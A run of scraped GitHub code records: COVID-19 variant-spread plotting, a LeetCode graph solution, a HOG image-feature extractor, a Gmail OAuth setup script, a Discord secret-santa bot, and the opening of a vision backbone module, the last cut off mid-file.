cases (7-day average)\" + reality_line_b117_label_suffix,\n color=reality_line_b117_color,\n linewidth=4)\n if show_model_areas:\n ax.stackplot(data_model.date, data_model.n_b117, data_model.n_original,\n labels=[\"Model: Number of B.1.1.7 cases\", \"Model: Number of total cases\"],\n colors=[pconf.colors[2], pconf.colors[3]])\n if show_legend:\n ax.legend()\n if show_long_title:\n title = \"Initial cases: {}, proportion of B.1.1.7: {}%\\n\" \\\n \"R-value of known variants: {}, fitness advantage: {}\".format(\n round(model_initial_cases), round(model_initial_proportion * 100, 1),\n round(model_original_r0, 2), round(model_fitness_advantage, 2)\n )\n ax.set_title(title)\n if y_axis_lim is not None:\n ax.set_ylim(0, y_axis_lim)\n locator = mdates.AutoDateLocator(minticks=5, maxticks=10)\n formatter = mdates.ConciseDateFormatter(locator)\n ax.xaxis.set_major_locator(locator)\n ax.xaxis.set_major_formatter(formatter)\n\n\n# --- Data loading and transformation ---\n\ndef load_data_cases(file) -> pd.DataFrame:\n \"\"\"\n :returns: columns: date:datetime, year:int, week:int, t:int, region:str, cases:int\n \"\"\"\n data_cases = pd.read_csv(file)\n data_cases[\"date\"] = pd.to_datetime(data_cases.date)\n data_cases[\"t\"] = (data_cases.date - data_cases.date.min()).dt.days\n return data_cases\n\n\ndef load_data_variants(file) -> pd.DataFrame:\n \"\"\"\n :returns: columns: date:datetime, region:str, sequenced:int, b117:int, original:int\n \"\"\"\n data_variants = pd.read_csv(file)\n data_variants[\"date\"] = pd.to_datetime(data_variants.date)\n data_variants[\"original\"] = data_variants.sequenced - data_variants.b117\n return data_variants\n\n\ndef load_data(file_cases, file_variants) -> Dataset:\n return Dataset(\n load_data_cases(file_cases),\n load_data_variants(file_variants)\n )\n\n\ndef to_data_whole(data: Dataset) -> Dataset:\n \"\"\"\n Removes region dimension by summing up the values for all regions on the same day\n \"\"\"\n data_cases = data.cases \\\n .groupby([\"date\", \"year\", \"week\", \"t\"]) \\\n .aggregate({\"cases\": \"sum\"}) \\\n .reset_index()\n data_variants = data.variants \\\n .groupby([\"date\"]) \\\n .aggregate({\"sequenced\": \"sum\", \"b117\": \"sum\", \"original\": \"sum\"}) \\\n .reset_index()\n return Dataset(data_cases, data_variants)\n\n\ndef to_data_regions(data: Dataset) -> List[Tuple[str, Dataset]]:\n \"\"\"\n :param data:\n :returns: a tuple: (region name, data)\n \"\"\"\n result: List[Tuple[str, Dataset]] = []\n regions = pd.unique(data.cases.region)\n for region in regions:\n data_cases = data.cases[data.cases.region == region].reset_index(drop=True)\n data_variants = data.variants[data.variants.region == region].reset_index(drop=True)\n result.append((region, Dataset(data_cases, data_variants)))\n return result\n\n\ndef join_dataset(data: Dataset) -> pd.DataFrame:\n if \"region\" in data.cases:\n join_cols = [\"date\", \"region\"]\n else:\n join_cols = \"date\"\n return data.cases.merge(data.variants, on=join_cols, how=\"inner\")\n\n\n# -------------- Very paper-specific code --------------\n\ndef generate_fig_proportion_switzerland_viollier_risch() -> Figure:\n def _subplot(ax, data, start_date, reproduction_number):\n d = join_dataset(to_data_whole(data))\n draw_proportion_line_plot(ax, d, reproduction_number=reproduction_number,\n generation_time=global_generation_time, show_logistic_ci=True,\n show_daily_points=True, show_daily_ci=True,\n start_date=start_date, number_days=120)\n\n data_raw_viollier = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n data_raw_risch = load_data(INPUT_CASES, INPUT_RAW_RISCH)\n\n fig = plt.figure(figsize=(16, 6))\n\n ax = fig.add_subplot(1, 2, 1)\n _subplot(ax, data_raw_viollier, datetime.datetime.strptime(\"2020-12-14\", \"%Y-%m-%d\"), r_viollier)\n ax.set_title(\"Switzerland - data from Viollier\")\n\n ax = fig.add_subplot(1, 2, 2)\n _subplot(ax, data_raw_risch, datetime.datetime.strptime(\"2020-12-14\", \"%Y-%m-%d\"), r_risch)\n ax.set_title(\"Switzerland - data from Risch\")\n\n fig.tight_layout()\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_switzerland_viollier_risch.pdf\",\n format=\"pdf\")\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_switzerland_viollier_risch.svg\",\n format=\"svg\")\n return fig\n\n\ndef generate_fig_proportion_regions() -> Figure:\n def _subplot(ax, data, start_date, show_legend):\n draw_proportion_line_plot(ax, data, reproduction_number=r_viollier,\n generation_time=global_generation_time, show_logistic_ci=True,\n show_daily_points=True, show_daily_ci=True,\n start_date=start_date, number_days=120, show_legend=show_legend)\n\n data_raw = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n\n fig = plt.figure(figsize=(16, 12))\n\n for i, (region, d) in enumerate(to_data_regions(data_raw)):\n ax = fig.add_subplot(4, 2, i + 1)\n _subplot(ax, join_dataset(d), start_date=datetime.datetime.strptime(\"2020-12-14\", \"%Y-%m-%d\"),\n show_legend=i == 0)\n ax.set_title(region)\n\n fig.tight_layout()\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_regions.pdf\", format=\"pdf\")\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_regions.svg\", format=\"svg\")\n return fig\n\n\ndef generate_fig_proportion_hug_geneva() -> Figure:\n def _subplot(ax, data, start_date, show_legend):\n draw_proportion_line_plot(ax, data, reproduction_number=r_viollier,\n generation_time=global_generation_time, show_logistic_ci=True,\n show_daily_points=True, show_daily_ci=True,\n start_date=start_date, number_days=120, show_legend=show_legend)\n\n data_raw = load_data(INPUT_CASES, INPUT_RAW_HUG_GENEVA)\n\n fig = plt.figure(figsize=(8, 3))\n\n ax = fig.add_subplot(1, 1, 1)\n _subplot(ax, join_dataset(to_data_whole(data_raw)), start_date=datetime.datetime.strptime(\"2020-12-14\", \"%Y-%m-%d\"),\n show_legend=True)\n ax.set_title(\"Geneva - from HUG data\")\n\n fig.tight_layout()\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_hug_geneva.pdf\", format=\"pdf\")\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_proportion_hug_geneva.svg\", format=\"svg\")\n return fig\n\n\ndef generate_fig_model_vs_reality_switzerland_viollier_risch(show_model=True) -> Figure:\n def _subplot(ax, d, reproduction_number, show_legend=False):\n growth = calculate_growth_rates(join_dataset(d), 0.95, global_generation_time, reproduction_number)\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n initial_cases = data_confirmed_cases[\n (data_confirmed_cases.date >= datetime.datetime.strptime(\"2020-12-29\", \"%Y-%m-%d\")) &\n (data_confirmed_cases.date <= datetime.datetime.strptime(\"2021-01-04\", \"%Y-%m-%d\"))]\n initial_cases = sum(initial_cases.cases) / 7\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=reproduction_number,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=show_legend, y_axis_lim=4000, show_model_areas=show_model)\n\n data_viollier = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n data_risch = load_data(INPUT_CASES, INPUT_RAW_RISCH)\n\n fig = plt.figure(figsize=(16, 6))\n\n ax = fig.add_subplot(1, 2, 1)\n _subplot(ax, to_data_whole(data_viollier), r_viollier, show_legend=True)\n ax.set_title(\"Switzerland - data from Viollier\")\n\n ax = fig.add_subplot(1, 2, 2)\n _subplot(ax, to_data_whole(data_risch), r_risch)\n ax.set_title(\"Switzerland - data from Risch\")\n\n fig.tight_layout()\n if show_model:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_model_vs_reality_switzerland_viollier_risch.pdf\",\n format=\"pdf\")\n else:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_cases_switzerland_viollier_risch.svg\",\n format=\"svg\")\n return fig\n\n\ndef generate_fig_cases_switzerland_joint() -> Figure:\n def _subplot(ax, d, reproduction_number, first=False):\n growth = calculate_growth_rates(join_dataset(d), 0.95, global_generation_time, reproduction_number)\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n initial_cases = data_confirmed_cases[\n (data_confirmed_cases.date >= datetime.datetime.strptime(\"2020-12-29\", \"%Y-%m-%d\")) &\n (data_confirmed_cases.date <= datetime.datetime.strptime(\"2021-01-04\", \"%Y-%m-%d\"))]\n initial_cases = sum(initial_cases.cases) / 7\n if first:\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=reproduction_number,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=False, y_axis_lim=4000, show_model_areas=False,\n reality_line_b117_label_suffix=\", Viollier\")\n else:\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=reproduction_number,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=True, y_axis_lim=4000, show_model_areas=False, show_reality_line_total=False,\n reality_line_b117_color=pconf.colors[2],\n reality_line_b117_label_suffix=\", Risch\")\n\n data_viollier = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n data_risch = load_data(INPUT_CASES, INPUT_RAW_RISCH)\n\n fig = plt.figure(figsize=(10, 7))\n\n ax = fig.add_subplot(1, 1, 1)\n _subplot(ax, to_data_whole(data_viollier), r_viollier, first=True)\n _subplot(ax, to_data_whole(data_risch), r_risch)\n ax.set_title(\"Switzerland\")\n\n fig.tight_layout()\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_cases_switzerland_joint.svg\",\n format=\"svg\")\n return fig\n\n\ndef generate_fig_tf_model_vs_reality() -> Figure:\n def _subplot(ax, d, reproduction_number):\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=reproduction_number,\n generation_time=global_generation_time, model_initial_cases=3000*1.025,\n model_initial_proportion=0.0243902439,\n model_fitness_advantage=0.5, show_long_title=False,\n show_legend=True, y_axis_lim=4000)\n\n data_viollier = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n data_risch = load_data(INPUT_CASES, INPUT_RAW_RISCH)\n data_viollier.variants = pd.concat([data_viollier.variants, data_risch.variants]).reset_index(drop=True)\n\n fig = plt.figure(figsize=(10, 8))\n\n ax = fig.add_subplot(1, 1, 1)\n _subplot(ax, to_data_whole(data_viollier), 0.84)\n\n fig.tight_layout()\n fig.savefig(\n OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_tf.pdf\",\n format=\"pdf\")\n return fig\n\n\ndef generate_fig_model_vs_reality_regions(show_model=True) -> Figure:\n def _subplot(ax, d, growth, show_legend=False):\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n initial_cases = data_confirmed_cases[\n (data_confirmed_cases.date >= datetime.datetime.strptime(\"2020-12-29\", \"%Y-%m-%d\")) &\n (data_confirmed_cases.date <= datetime.datetime.strptime(\"2021-01-04\", \"%Y-%m-%d\"))]\n initial_cases = sum(initial_cases.cases) / 7\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=r_viollier,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=show_legend, show_model_areas=show_model)\n\n data_raw = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n growth = calculate_growth_rates(join_dataset(to_data_whole(data_raw)), 0.95, global_generation_time, r_viollier)\n\n fig = plt.figure(figsize=(16, 12))\n\n for i, (region, d) in enumerate(to_data_regions(data_raw)):\n ax = fig.add_subplot(4, 2, i + 1)\n _subplot(ax, d, growth, show_legend=i == 0)\n ax.set_title(region)\n\n fig.tight_layout()\n if show_model:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_model_vs_reality_regions.pdf\", format=\"pdf\")\n else:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_cases_regions.svg\", format=\"svg\")\n return fig\n\n\ndef generate_fig_model_vs_reality_hug_geneva(show_model=True) -> Figure:\n def _subplot(ax, d, growth, show_legend=False):\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n initial_cases = data_confirmed_cases[\n (data_confirmed_cases.date >= datetime.datetime.strptime(\"2020-12-29\", \"%Y-%m-%d\")) &\n (data_confirmed_cases.date <= datetime.datetime.strptime(\"2021-01-04\", \"%Y-%m-%d\"))]\n initial_cases = sum(initial_cases.cases) / 7\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=r_hug_geneva,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=show_legend, show_model_areas=show_model)\n\n data_raw = load_data(INPUT_CASES, INPUT_RAW_HUG_GENEVA)\n growth = calculate_growth_rates(join_dataset(to_data_whole(data_raw)), 0.95, global_generation_time, r_hug_geneva)\n\n fig = plt.figure(figsize=(8, 3))\n ax = fig.add_subplot(1, 1, 1)\n _subplot(ax, to_data_whole(data_raw), growth, show_legend=True)\n ax.set_title(\"Geneva - from HUG data\")\n\n fig.tight_layout()\n if show_model:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_model_vs_reality_hug_geneva.pdf\", format=\"pdf\")\n else:\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_cases_hug_geneva.svg\", format=\"svg\")\n return fig\n\n\ndef generate_tbl_growth_rates() -> pd.DataFrame:\n def _row(d, region, reproduction_number):\n g = calculate_growth_rates(d, 0.95, global_generation_time, reproduction_number)\n return {\n \"Region\": region,\n \"$a$\": \"{:.2f} [{:.2f}; {:.2f}]\".format(g.a_mle, g.a_ci.lower, g.a_ci.upper),\n \"$t_0$\": \"{:.0f} [{:.0f}; {:.0f}]\".format(g.t0_mle, g.t0_ci.lower, g.t0_ci.upper),\n \"$f_d$\": \"{:.2f} [{:.2f}; {:.2f}]\".format(g.fd_mle, g.fd_ci.lower, g.fd_ci.upper),\n \"$f_c$\": \"{:.2f} [{:.2f}; {:.2f}]\".format(g.fc_mle, g.fc_ci.lower, g.fc_ci.upper)\n }\n\n data_viollier = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n data_risch = load_data(INPUT_CASES, INPUT_RAW_RISCH)\n data_hug = load_data(INPUT_CASES, INPUT_RAW_HUG_GENEVA)\n\n table = []\n\n # Switzerland\n table.append(_row(join_dataset(to_data_whole(data_viollier)), \"Switzerland (Viollier)\", r_viollier))\n table.append(_row(join_dataset(to_data_whole(data_risch)), \"Switzerland (Risch)\", r_risch))\n\n # Regions\n for region, d in to_data_regions(data_viollier):\n table.append(_row(join_dataset(d), region, r_viollier))\n\n # HUG Geneva\n table.append(_row(join_dataset(to_data_whole(data_hug)), \"Geneva (HUG)\", r_hug_geneva))\n\n df = pd.DataFrame(table)\n df.to_csv(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/tbl_growth_rates.csv\", index=False)\n return df\n\n\ndef export_estimated_case_numbers_for_re():\n def _export(data, path):\n d = join_dataset(to_data_whole(data))\n d[\"sequenced\"] = d.b117 + d.original\n d[\"b117\"] = pd.to_numeric(round((d.b117 / d.sequenced) * d.cases), downcast=\"integer\")\n d[\"original\"] = pd.to_numeric(round((d.original / d.sequenced) * d.cases), downcast=\"integer\")\n d[[\"date\", \"b117\", \"original\"]].to_csv(path, index=False)\n\n # Switzerland\n _export(load_data(INPUT_CASES, INPUT_RAW_VIOLLIER), \"Re/data/estimated_case_numbers_viollier.csv\")\n _export(load_data(INPUT_CASES, INPUT_RAW_RISCH), \"Re/data/estimated_case_numbers_risch.csv\")\n\n # Regions\n for region, d in to_data_regions(load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)):\n _export(d, \"Re/data/estimated_case_numbers_viollier_\" + region + \".csv\")\n\n # HUG Geneva\n _export(load_data(INPUT_CASES, INPUT_RAW_HUG_GENEVA), \"Re/data/estimated_case_numbers_hug_geneva.csv\")\n\n\ndef generate_fig_model_vs_reality_geneva():\n def _subplot(ax, d, growth, show_legend=False):\n data_confirmed_cases = d.cases[[\"date\", \"cases\"]]\n data_variants = join_dataset(d)[[\"date\", \"t\", \"b117\", \"original\"]]\n initial_cases = data_confirmed_cases[\n (data_confirmed_cases.date >= datetime.datetime.strptime(\"2020-12-29\", \"%Y-%m-%d\")) &\n (data_confirmed_cases.date <= datetime.datetime.strptime(\"2021-01-04\", \"%Y-%m-%d\"))]\n initial_cases = sum(initial_cases.cases) / 7\n draw_model_vs_reality_plot(ax, data_confirmed_cases, data_variants, model_original_r0=r_viollier_geneva,\n generation_time=global_generation_time, model_initial_cases=initial_cases,\n model_fitness_advantage=growth.fc_mle, show_long_title=False,\n show_legend=show_legend)\n\n data_raw = load_data(INPUT_CASES, INPUT_RAW_VIOLLIER)\n\n fig = plt.figure(figsize=(8, 3))\n\n for region, d in to_data_regions(data_raw):\n if region != \"Lake Geneva region\":\n continue\n growth = calculate_growth_rates(join_dataset(d), 0.95, global_generation_time, r_viollier_geneva)\n ax = fig.add_subplot(1, 1, 1)\n _subplot(ax, d, growth)\n ax.set_title(region)\n\n fig.tight_layout()\n fig.savefig(OUTPUT_DIR + \"/g\" + str(global_generation_time) + \"/fig_model_vs_reality_geneva.pdf\", format=\"pdf\")\n return fig\n\n\ndef main():\n global global_generation_time\n font = {'size': 13}\n mpl.rc('font', **font)\n for g in [4.8, 5.2, 7.6]:\n global_generation_time = g\n Path(OUTPUT_DIR + \"/g\" + str(global_generation_time)).mkdir(parents=True, exist_ok=True)\n generate_fig_tf_model_vs_reality()\n generate_fig_proportion_switzerland_viollier_risch()\n generate_fig_proportion_regions()\n generate_fig_proportion_hug_geneva()\n generate_fig_model_vs_reality_switzerland_viollier_risch()\n generate_fig_model_vs_reality_regions()\n generate_fig_model_vs_reality_hug_geneva()\n generate_fig_model_vs_reality_switzerland_viollier_risch(show_model=False)\n generate_fig_model_vs_reality_regions(show_model=False)\n generate_fig_model_vs_reality_hug_geneva(show_model=False)\n generate_fig_cases_switzerland_joint()\n generate_tbl_growth_rates()\n generate_fig_model_vs_reality_geneva()\n if g == 4.8:\n export_estimated_case_numbers_for_re()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cevo-public/Quantification-of-the-spread-of-a-SARS-CoV-2-variant","sub_path":"code/analysis_and_plots.py","file_name":"analysis_and_plots.py","file_ext":"py","file_size_in_byte":27237,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"24812041400","text":"class Solution:\n def calcEquation(self, equations: List[List[str]], values: List[float], queries: List[List[str]]) -> List[float]:\n \n def iterate_graph(accum, curr, target, visited):\n visited.add(curr)\n res = -1.0\n neighbors = graph[curr]\n \n if target in neighbors:\n res = accum * neighbors[target]\n \n else:\n for neighbor, weight in neighbors.items():\n if neighbor not in visited:\n res = iterate_graph(accum * weight, neighbor, target, visited)\n if res != -1.0:\n break\n \n visited.remove(curr)\n return res\n \n \n # Make our graph\n graph = collections.defaultdict(collections.defaultdict)\n \n # We need a weighted and directed graph. The opposite way can just be figured out\n # by inversing the value\n for (dividend, divisor), result in zip(equations, values):\n graph[dividend][divisor] = result\n graph[divisor][dividend] = 1/result\n \n # Initialize answer array\n ans = []\n # Loop through queries and solve\n for dividend, divisor in queries:\n # If same, return 1\n # Error for the question. Should be 1 but they want -1\n if dividend == divisor:\n res = 1.0\n if dividend not in graph:\n res = -1.0\n # If one doesn't appear in the graph, we can't solve\n elif dividend not in graph or divisor not in graph:\n res = -1.0\n # Otherwise, solve based on our graph\n else:\n visited = set()\n \n res = iterate_graph(1, dividend, divisor, visited)\n \n ans.append(res)\n \n \n return ans","repo_name":"PigsGoMoo/LeetCode","sub_path":"evaluate-division/evaluate-division.py","file_name":"evaluate-division.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10467463232","text":"import numpy as np\nfrom tqdm import tqdm\nfrom img_utils import load_images, deflatten\nimport os\n\n\nclass HOGFeatureExtractor:\n \"\"\"\n nbins: number of bins that will be used\n unsigned: if True the sign of the angle is not considered\n \"\"\"\n def __init__(self, nbins=9, pixels_per_cell=(8, 8), cells_per_block=(2, 2), unsigned=True):\n self.nbins = nbins\n self.pixels_per_cell = pixels_per_cell\n self.cells_per_block = cells_per_block\n self.unsigned = unsigned\n\n\n def _calc_gradient_for_channel(self, I, unflatten):\n nX, nY = I.shape\n cx, cy = self.pixels_per_cell # pixels per cell\n histogram = np.zeros((4, 4, self.nbins))\n\n for i in range(0, nX):\n for j in range(0, nY):\n dx, dy = 0, 0\n if i < nX - 1:\n dx += I[i + 1, j]\n if i > 0:\n dx -= I[i - 1, j]\n if j < nY - 1:\n dy += I[i, j + 1]\n if j > 0:\n dy -= I[i, j - 1]\n\n if dy == 0 and dx == 0:\n continue\n\n magnitude = np.sqrt(dx**2 + dy**2)\n if self.unsigned:\n if dx == 0:\n angle = np.pi / 2\n else:\n angle = np.arctan(dy / dx)\n angle = (angle + np.pi / 2) / (np.pi / self.nbins)\n else:\n angle = np.arctan2(dx, dy)\n angle = (angle + np.pi) / (2 * np.pi / self.nbins)\n\n bin_pos = int(np.floor(angle))\n # handle corner case\n if bin_pos == self.nbins:\n bin_pos = 0\n angle = 0\n\n closest_bin = bin_pos\n\n if bin_pos == 0:\n if angle < 0.5:\n second_closest_bin = self.nbins - 1\n else:\n second_closest_bin = 1\n elif bin_pos == self.nbins - 1:\n if angle < self.nbins - 0.5:\n second_closest_bin = self.nbins - 2\n else:\n second_closest_bin = 0\n else:\n if angle < bin_pos + 0.5:\n second_closest_bin = bin_pos - 1\n else:\n second_closest_bin = bin_pos + 1\n\n # closest_bin_distance + second_closest_bin_distance = 1\n if angle < bin_pos + 0.5:\n second_closest_bin_distance = angle - (bin_pos - 0.5)\n else:\n second_closest_bin_distance = (bin_pos + 1.5) - angle\n\n r = second_closest_bin_distance\n histogram[i // cx, j // cy, closest_bin] += r * magnitude\n histogram[i // cx, j // cy, second_closest_bin] += (1 - r) * magnitude\n \n n_cellsx = int(np.floor(nX / cx)) # number of cells in x\n n_cellsy = int(np.floor(nY / cy)) # number of cells in y\n \n blockx, blocky = self.cells_per_block[0], self.cells_per_block[1] \n new_size_x = n_cellsx - blockx + 1\n new_size_y = n_cellsy - blocky + 1\n ret = np.zeros((new_size_x, new_size_y, self.nbins * blockx * blocky))\n\n for i in range(new_size_x):\n for j in range(new_size_y):\n aux = histogram[i:i + blockx, j:j + blocky, :].flatten().copy()\n aux = aux / np.linalg.norm(aux)\n ret[i, j, :] = aux\n\n if unflatten:\n ret.reshape(new_size_x*new_size_y, -1)\n return ret.flatten()\n\n def _calc_gradient_for_image(self, I, unflatten):\n nchannels = I.shape[2]\n ret = []\n\n for i in range(nchannels):\n ret.append(self._calc_gradient_for_channel(I[:,:,i], unflatten))\n\n if unflatten:\n return np.array(ret).reshape(nchannels * ret[0].shape[0], -1)\n return np.array(ret).flatten()\n\n def predict(self, X, unflatten=False):\n assert X.ndim == 4\n print(\"Extracting HOG features\")\n n = X.shape[0]\n ret = []\n\n for i in tqdm(range(n)):\n ret.append(self._calc_gradient_for_image(X[i,:,:,:], unflatten))\n\n return np.array(ret)\n \nif __name__ == '__main__':\n input_path = 'data'\n input_file = os.path.join(input_path, 'Xtr.csv') # 'Xtr.csv' or 'Xte.csv'\n imgs = load_images(input_file)\n imgs = deflatten(imgs)\n n_img = imgs.shape[0]\n \n HOG = HOGFeatureExtractor(nbins=9)\n feat = HOG.predict(imgs) \n print(feat.shape)\n # output setups\n output_path = 'data'\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n \n output_file = os.path.join(output_path, 'Xtr_hoog.npy') \n np.save(output_file, feat)","repo_name":"zmehdiz97/Kernel-methods","sub_path":"src/hoog.py","file_name":"hoog.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32522539040","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\n#\n# If modifying these scopes, delete the file token.pickle.\n#\nSCOPES = ['https://www.googleapis.com/auth/gmail.send']\n\ndef main():\n creds = None\n HOME = os.path.expanduser('~')\n #\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n #\n tokenfile = os.path.join(f\"{HOME}\",\"credentials\",\"token.pickle\")\n if os.path.exists(tokenfile):\n with open(tokenfile,'rb') as token:\n creds = pickle.load(token)\n #\n # If there are no (valid) credentials available, let the user log in.\n #\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n credentials = os.path.join(f\"{HOME}\",\"credentials\",\"credentials.json\")\n flow = InstalledAppFlow.from_client_secrets_file(credentials,SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open(tokenfile,'wb') as token:\n pickle.dump(creds, token)\n\n service = build('gmail', 'v1', credentials=creds)\n\nif __name__ == '__main__':\n main()\n","repo_name":"rafelamer/examens-python","sub_path":"credentials.py","file_name":"credentials.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41507066487","text":"import os\n\nimport discord, random\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\nload_dotenv()\nTOKEN = os.getenv('TOKEN')\n\nintents = discord.Intents.default()\nintents.message_content = True\nintents.members = True\n\ndescription = 'discord bot to handle our secret santa'\n\nbot = commands.Bot(command_prefix='ss ', description=description, intents=intents)\nbot.ssParticipants = dict()\n\n@bot.event\nasync def on_ready():\n print(f'successfully logged in as {bot.user}')\n\n\n@bot.event\nasync def on_message(message):\n if message.author == bot.user:\n return\n if message.content.startswith('.ss hello'):\n await message.channel.send('santa time teehee')\n await bot.process_commands(message)\n \n\n@bot.command()\nasync def printUsers(ctx):\n await ctx.send('current members:')\n for guild in bot.guilds:\n for member in guild.members:\n await ctx.send(member)\n\n@bot.command()\nasync def join(ctx):\n # dict of message.author to message.author.id\n if ctx.author not in bot.ssParticipants:\n bot.ssParticipants[ctx.author] = ctx.author.id\n await ctx.send(f'added {ctx.author} to the list')\n else:\n await ctx.send(f'{ctx.author} is already in the list!!!!!\\n shame on you')\n\n@bot.command()\nasync def leave(ctx):\n if ctx.author in bot.ssParticipants:\n bot.ssParticipants.pop(ctx.author)\n await ctx.send(f'removed {ctx.author} from the list')\n else:\n await ctx.send('you are not in the list. why are you trying to leave?')\n\n@bot.command()\nasync def printParticipants(ctx):\n for i in bot.ssParticipants:\n user = bot.get_user(bot.ssParticipants[i])\n await ctx.send(user)\n\n@bot.command()\nasync def start(ctx):\n await ctx.send('starting secret santa with following users:')\n for i in bot.ssParticipants:\n user = bot.get_user(bot.ssParticipants[i])\n await ctx.send(user)\n await ctx.send('sending dms to users')\n players = [bot.get_user(bot.ssParticipants[i]) for i in bot.ssParticipants]\n for i in bot.ssParticipants:\n randomPlayer = random.choice(players)\n while randomPlayer == i:\n randomPlayer = random.choice(players)\n players.remove(randomPlayer)\n await i.send(f'your secret santa is {randomPlayer}')\n await ctx.send(f'sent {randomPlayer} to {i}') # for debugging\n\n@bot.command()\nasync def h(ctx):\n text = '''\n ss join - join the secret santa pool\n ss leave - leave the secret santa pool\n ss printParticipants - print the current participants\n ss start - start the secret santa with the current participants\n ss h - print this message\n '''\n await ctx.send(text)\n \n@bot.command() \nasync def testing(ctx):\n # add all the users to the dict\n for guild in bot.guilds:\n for member in guild.members:\n # add the member to the dict if not bot\n if member != bot.user:\n bot.ssParticipants[member] = member.id\n # remove last user from the dict\n bot.ssParticipants.popitem() # testing different lengths\n await ctx.send('added all users to the list')\n\n@bot.command() # test to see of the bot can dm a user\nasync def test(ctx):\n for i in bot.ssParticipants:\n user = bot.get_user(bot.ssParticipants[i])\n await user.send(user)\n\n\nbot.run(TOKEN)","repo_name":"justindal/Secret-Santa-Discord-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72615127441","text":"from collections import OrderedDict\n\nimport torch\nimport torch.nn.functional as F\nimport torchvision\nfrom timm.models import create_model\nfrom torch import nn\nfrom torchvision.models._utils import IntermediateLayerGetter\n\nfrom util.misc import NestedTensor\n\nfrom .position_encoding import build_position_encoding\n\n\nclass FrozenBatchNorm2d(torch.nn.Module):\n \"\"\"\n BatchNorm2d where the batch statistics and the affine parameters are fixed.\n\n Copy-paste from torchvision.misc.ops with added eps before rqsrt,\n without which any other models than torchvision.models.resnet[18,34,50,101]\n produce nans.\n \"\"\"\n\n def __init__(self, n):\n super(FrozenBatchNorm2d, self).__init__()\n self.register_buffer(\"weight\", torch.ones(n))\n self.register_buffer(\"bias\", 